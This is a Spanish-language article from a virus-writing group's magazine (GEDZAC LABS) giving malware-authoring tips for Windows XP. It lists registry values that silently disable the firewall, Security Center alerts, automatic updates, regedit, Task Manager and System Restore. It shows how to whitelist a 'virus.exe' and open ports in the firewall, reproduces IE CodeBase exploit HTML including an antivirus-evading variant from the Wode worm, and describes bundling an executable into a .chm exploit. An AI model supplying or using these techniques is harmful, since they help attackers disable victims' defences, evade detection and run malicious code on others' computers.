En este txt se comentaran algunos datos que no ameritan un articulo entero
pero si merecen ser comentados, aunque varios son bastante conocidos.


Desabilitar algunas de las caracteristicas de seguridad del Sp2:
----------------------------------------------------------------
El sp2 incluye el llamado Centro de seguridad, que informa sobre el
antivirus instalado, sobre el firewall de windows, sobre las actualizaciones

Para desabilitar algunas de sus caracteristicas modificamos estas llaves
del reg:

[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
DisableNotifications = 1   DWORD  Desabilita notificacion de firewall
EnableFirewall = 0         DWORD  Desabilita firewall
DoNotAllowExceptions = 0   DWORD  No permitir excepciones

[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
DisableNotifications = 1   DWORD  Desabilita notificacion de firewall
EnableFirewall = 0         DWORD  Desabilita firewall
DoNotAllowExceptions = 0   DWORD  No permitir excepciones

[HKLM\Software\Microsoft\Security Center]
AntiVirusDisableNotify = 1  DWORD  Desabilita notificacion de antivirus
FirewallDisableNotify = 1   DWORD  Desabilita notificacion de firewall
UpdatesDisableNotify = 1    DWORD  Desabilita notificacion de actualizaciones
AntiVirusOverride = 1      DWORD   Invalidar antivirus de security center
FirewallOverride = 1      DWORD    Invalidar firewall de security center

Desabilita servicio del Security Center
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc]
Start=dword:00000004

Desabilita el servicio que controla las actualizaciones automaticas
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
Start=dword:00000004

No actualizar automaticamente
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsUpdate\AU]
NoAutoUpdate=dword:00000001
AUOptions=dword:00000001

[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\LocalUser\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate]
DisableWindowsUpdateAccess=dword:00000001  No notifica de nuevas actualizaciones

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update]
AUState=dword:00000007
AUOptions=dword:00000001


AUOptions:
Más o menos esto es lo que entendi: define la accion a tomar cuando
se detecta una nueva actualización, siendo:
1 - Desabilitar
2 - Notificar para la descarga y notificar para la instalación
3 - auto-descarga y notifica para la instalación
4 - auto-descarga y programa la instalacion para el día y hora
    señalados en las llaves ScheduledInstallDay(día de la semana
    en que se instala, valor de 1 a 7, 0 para todos los días)
    y ScheduledInstallTime(hora a la que se instala, valor de 0 a 23

AUState:
0
1 - Espera a que el usuario inicie el asistente de actualizacion
2 - Deteccion pendiente, comprueba cada cierto tiempo se hay nuevas
    actualizaciones
3 - Descarga pendiente, ha encontrado nuevas actualizaciones pero
    al notificar la descarga al user, este la ha denegado
4 - Esta descargando la actualizacion ahora
5 - Se descargo la actualizacion y se esta esperando que el usuario
    inicie la instalacion o el día y hora programada para instalar
6 - Instalacion completa de la actualizacion
7 - Desabilitado
8 - Reinicio pendiente, se necesita reiniciar para continuar y se esta
    esperando que user permita reinicio o reinicie manualmente más tarde

'Bloquea la descarga del sp2 por el windows update, hasta el 12 de abril
'del 2005
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate]
DoNotAllowXPSP2=dword:00000001


'Servicio que controla entre otras cosas el firewall de win xp
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\SharedAccess]
Start=dword:00000004

Servicio SharedAccess segun la page de microsoft:
--------------------------------------------------
Este servicio del sistema ofrece los servicios de resolución de nombres y 
direcciones para todos los equipos de red doméstica o pequeña oficina. 
Cuando está habilitado, el equipo se convierte en una "puerta de enlace de 
Internet" en la red, lo que permite que otros equipos cliente compartan una 
conexión a Internet; por ejemplo, una conexión de acceso telefónico a redes 
o de banda ancha. Este servicio ofrece los servicios DHCP y DNS básicos, 
pero funcionará con los servicios DHCP o DNS completos de Windows.
Cuando actúa como puerta de enlace para el resto de equipos de la red, 
ofrece los servicios DHCP y DNS a la red privada de la interfaz de red 
interna. No ofrece estos servicios a la interfaz dirigida al exterior.

Osea que si matamos este servicio no solo nos estamos matando el firewall
sino otras cosas, que puede el user necesitar, por eso mejor usamos
las otras llaves detalladas más arriba para matar el firewall



*Para autorizar una aplicacion en el Firewall de winXP, tenemos que
añadirla en las llaves:

[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List]

[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]

Más o menos asi ser la llave que hay que añadir:

ProgramPath:IP:Enabled|Disabled:ApplicationName

Donde:

ProgramPath: es la ruta del .exe pudiendo ser c:\windows\virus.exe
o %windir%\virus.exe  (se pueden usar variables como %windir%)

IP: segun lo que entiendo indica las direcciones ip a las cuales se
va a permitir que el programa conecte

Enabled|Disabled: Poner Enabled para colocar el programa como permitido
en la lista del firewall y disabled para colocarlo en la lista como
bloqueado

ApplicationName: Un nombre cualquiera que aparecera en la lista del
firewall

Entonces un ejemplo seria:

[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List]
%windir%\system32\virus.exe = %windir%\system32\virus.exe:*:enabled:VirusGedzac

El tipo de dato es REG_SZ ( valor de cadena )

Tambien se pueden añadir puertos permitidos en las llaves:

[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List]

[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]

Ejem:

[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
2703:TCP = "2703:TCP:*:enabled:SMS"
138:UDP = "138:UDP:*:Enabled:@xpsp2res.dll,-22004"
445:TCP = "445:TCP:*:Enabled:@xpsp2res.dll,-22005"
23:TCP =  "23:TCP:*:Enabled:Telnet"

El tipo de dato es REG_SZ ( valor de cadena )

Sintaxis: Port#:TCP|UDP:IP:Enabled|Disabled:PortName 

Primero va el N° del puerto, luego si es TCP o UDP, luego * para permitir
conectar con cualquier ip, luego ENABLED/DISABLED (Enabled para permitir
el puerto en el firewall) y luego un nombre cualquiera para el puerto.

Recomendado este .doc sobre el firewall de winXP, aunque en ingles
pero me parece que ta bueno:

http://www.gosecurity.ch/download/anleitungen/Deploying_Windows_Firewall_Settings_for_Microsoft_Windows_XP_with_Service_Pack_2.doc


Desabilitar el Regedit y el Visor de Procesos:
-----------------------------------------------

*Para desabilitar el regedit ponemos esta llave del reg:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools

a un valor REG_DWORD  1 (Probado en win98 y winXP)


*Para desabilitar el Visor de Procesos ponemos esta llave del reg:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr

a un valor REG_DWORD  1 (Probado en winXP, no funciona en win98)


*Para desabilitar Restaurar Sistema ponemos esta llave del reg:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR

a un valor REG_DWORD  1

Exploit CodeBase:
------------------
El exploit codebase es ampliamente conocido y bastante viejo:

Si colocamos esto en un htm, conseguimos que se ejecute el calc.exe
osea nos sirve para ejecutar archivos locales.
El htm debe ejecutarse en la zona local, no desde internet

<object classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:\windows\calc.exe"></object>

Ahora si ponemos eso nos van a saltar la mayoria de avs

Lo que me parecio interesante fue el metodo que uso el virus Wode, el
del msn

Se podria decir que era una variante del codebase y cuando lo mande a
virustotal ningun av lo detectaba, al día de escribir este articulo
solo lo reporta nod32

era este:

<object id="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="test.exe"></object>

que hace lo mismo que el codebase original

Más info sobre el exploit-codebase: http://www.cyruxnet.org/ie_exec.htm

El wode usaba una combinacion del exploit chm con el codebase:
Incluia dentro del .chm un .exe, y un .html con el exploit codebase
con lo que conseguia afectar a win98 y winXP, ya que el exploit
más conocido me parece, en que se usa el chm involucra al objeto
"ADODB.Stream" no presente en win98.

Como el exploit chm nos permite ejecutar un .htm con permisos
locales "Zona Mi PC", aunque provenga de internet, pos ambos
exploits se complementan bien.

Si usamos el HTML Help Workshop de microsoft para crear el chm
deberemos modificar el archivo .hhp en la seccion FILES:
de modo que quede asi:

[FILES]
x.htm
load.exe

ya que no encuentro la opcion para agregar un .exe al chm desde el programa
le modificamos eso para que sepa que debe incluir el .exe dentro del
.chm ademas del .htm  (el .exe debe estar en el dir del .hhp)

Más info del exploit-chm Mitosis2 Articulo: Exploit chm

(C) Mitosis 3 - GEDZAC LABS